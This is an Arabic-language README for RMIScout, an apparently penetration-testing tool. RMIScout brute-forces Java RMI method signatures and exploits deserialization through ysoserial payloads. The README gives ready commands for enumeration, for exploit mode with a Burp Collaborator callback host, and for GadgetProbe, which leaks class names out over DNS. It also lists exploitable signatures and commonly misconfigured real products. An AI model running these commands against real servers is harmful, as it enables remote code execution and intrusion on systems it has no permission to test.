
RMIScout يستخدم استراتيجيات قوائم الكلمات والهجمات الشاملة لتعداد وظائف Java RMI واستغلال ثغرات فك التجميع لمعاملات RMI.
يتيح RMIScout هجمات بقوائم الكلمات والتخمين القسري ضد واجهات Java RMI المكشوفة لتخمين توقيعات الطرق بأمان دون استدعاء. يدعم بروتوكولات Java RMI المتعددة، واستدعاء الطرق، والاستغلال.
لتحديد دوال RMI دون تنفيذها، يستخدم RMIScout دوال شبكة RMI منخفضة المستوى وتوليد فئات ديناميكية لإرسال استدعاءات RMI بأنواع غير متطابقة عن قصد لإثارة استثناءات عن بُعد. يتم استبدال جميع المعلمات بفئة قابلة للتسلسل تم إنشاؤها ديناميكيًا باسم مكون من 255 حرفًا يُفترض عدم وجوده في مسار الفئة البعيدة. على سبيل المثال:
الواجهة البعيدة:
void login(String user, String password)
سيستدعي RMIScout:
login((String) new QQkzkn3..255 حرفًا..(), (String) new QQkzkn3..255 حرفًا..())
إذا كانت الفئة موجودة، سيؤدي ذلك إلى استثناء java.rmi.UnmarshalException عن بُعد ناتج عن ClassNotFoundException أو خطأ في إلغاء تسلسل الوسائط دون استدعاء الطريقة الأساسية.
لمقالات تقنية أكثر تفصيلاً:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
قم بتوفير قائمة كلمات بنماذج الطرق لفحصها على الخادم البعيد. سيقوم RMIScout بإخراج جميع المطابقات التي تم تحديدها.
بالنسبة لـ RMI-IIOP/CORBA: ما لم تكن الطرق محملة بشكل زائد، فإن التخمين القسري والاستدعاء يتطلبان فقط تطابق الأسماء (يتم تجاهل جميع المعلومات الأخرى).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
قم بتوفير قائمة كلمات بأسماء الطرق المرشحة، ثم قم بتوفير قائمة مفصولة بفواصل لأنواع الإرجاع المرشحة، ونطاق عدد المعلمات، وأنواع المعلمات المرشحة. سيقوم وضع التخمين القسري بإنشاء التباديل والبحث عن التوقيعات المطابقة.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
على الخوادم التي تم تكوينها بشكل خاطئ، يمكن استغلال أي توقيع RMI معروف يستخدم أنواعًا غير بدائية (مثل java.util.List) عن طريق استبدال الكائن بحمولة متسلسلة. هذا تكوين خاطئ شائع إلى حد ما (على سبيل المثال، VMWare vSphere Data Protection + vRealize Operations Manager، Pivotal tc Server و Gemfire، Apache Karaf + Cassandra) كما تم تسليط الضوء عليه في محاضرة An Trinh's 2019 Blackhat EU.
يتكامل RMIScout مع ysoserial لتنفيذ هجمات إلغاء التسلسل ضد الخدمات التي تقوم بتكوين مرشحات التسلسل على مستوى العملية بشكل غير صحيح (JEP 290).
أمثلة على التوقيعات القابلة للاستغلال:
void exampleMethod(java.util.Map a) // أي أنواع غير بدائية
void exampleMethod(float[] a) // أي نوع من المصفوفات، حتى البدائيات
void exampleMethod(String a) // يعمل على JDK القديمة، انظر أدناه...
ملاحظة: التوقيعات التي تحتوي على أنواع java.lang.String تكون قابلة للاستغلال فقط في إصدارات JRE 8/11/13/14 قبل أوائل 2020 في RMI-JRMP، ولكنها لا تزال قابلة للاستغلال حاليًا في RMI-IIOP.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
يتيح لك RMIScout استدعاء أي توقيعات بالبدائيات أو مصفوفات البدائيات أو السلاسل. ستتطلب الأنواع الأكثر تقدمًا كتابة عميل مخصص.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
يتكامل RMIScout مع GadgetProbe لتحديد الفئات في مسار الفئة البعيد. يتم إخراج أسماء الفئات عبر DNS.
استخدم النص البرمجي المضمن rmiscout.sh لبناء المشروع تلقائيًا وكغلاف مناسب لبناء java -jar:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
بدلاً من ذلك، قم ببناء المشروع يدويًا واستخدم بناء java -jar التقليدي:
# بناء JAR يدويًا
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
ملاحظة: يعتمد RMI-IIOP (الترجمة / وقت التشغيل) و ysoserial (وقت التشغيل) على JDK8.
قم بتشغيل خادم RMI التجريبي في Docker. جرب القائمة المضمنة demo/wordlist.txt.
cd demo
./start_demo.sh
س: كيف يمكنني معرفة ما إذا كان <host>:<port> هو سجل RMI؟
استخدم ./rmiscout list <host> <port> للحصول على معلومات حول السجلات على خادم بعيد.
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
أو استخدم نص nmap rmi-dumpregistry:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
س: لقد وجدت سجلًا على المنفذ 1098 بالاسم java.rmi.activation.ActivationSystem. ماذا يمكنني أن أفعل به؟
هذا هو rmid Activation System Daemon. جميع طرقه مقيدة بـ SecurityManager. تتحقق إصدارات JRE الأحدث مما إذا كان النظير البعيد يأتي من المضيف المحلي قبل إلغاء تسلسل أي بيانات بعيدة. الإصدارات القديمة (ما قبل 2011) لم يكن لديها هذا الفحص وقد تكون عرضة للخطر. راجع https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
س: هل يمكنني تشغيل RMIScout بإصدار وقت تشغيل أحدث من JRE 8؟
ج: تقنيًا نعم، لكن العديد من الميزات ستتوقف عن العمل. دعم CORBA، ودعم الاستكشاف، وysoserial (وضع الاستغلال) يتطلب الاعتماد على JRE 8.
س: لماذا أحصل على CannotCompileException؟
ج: يحدث CannotCompileException عندما يتم توفير اسم طريقة أو نموذج غير صالح مباشرة أو عبر قائمة كلمات. يقوم RMIScout بإنشاء كود بايت للتوقيعات المرشحة التي يوفرها المستخدم في وقت التشغيل. على الرغم من أن RMIScout لديه قواعد أساسية لتصحيح أخطاء الصياغة الشائعة في النماذج التي يوفرها المستخدم، إلا أنه يفشل أحيانًا.
تويتر: @BumbleSec
جيت هاب: the-bumble